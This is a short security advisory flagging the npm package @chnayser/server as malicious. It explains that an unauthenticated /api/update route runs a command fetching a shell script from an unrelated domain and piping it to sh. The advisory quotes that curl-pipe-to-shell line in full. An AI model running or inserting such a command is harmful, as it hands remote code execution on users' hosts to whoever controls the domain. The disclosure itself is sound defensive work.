🛡️ MAL-2026-13374 — server

Malicious code in @chnayser/server (npm)

Source: amazon-inspector

The package's Express server (started via the advertised startServer/createApp entry points) mounts a GET route at /api/update whose handler executes curl https://npm.nzeros.me/chnayser | sh via child_process.execSync (dist/routes.js line 22). The route requires no authentication and is framed as a health/update probe. Any client that can reach the bound address (default 127.0.0.1:4300, overridable via a host option) causes the server process to fetch a shell script from npm.nzeros.me — a domain unrelated to the package's declared publisher — and execute it under /bin/sh. The fetched content is mutable and controlled by whoever owns npm.nzeros.me, giving that party arbitrary remote code execution on the installer's host whenever the server is running and the endpoint is reachable.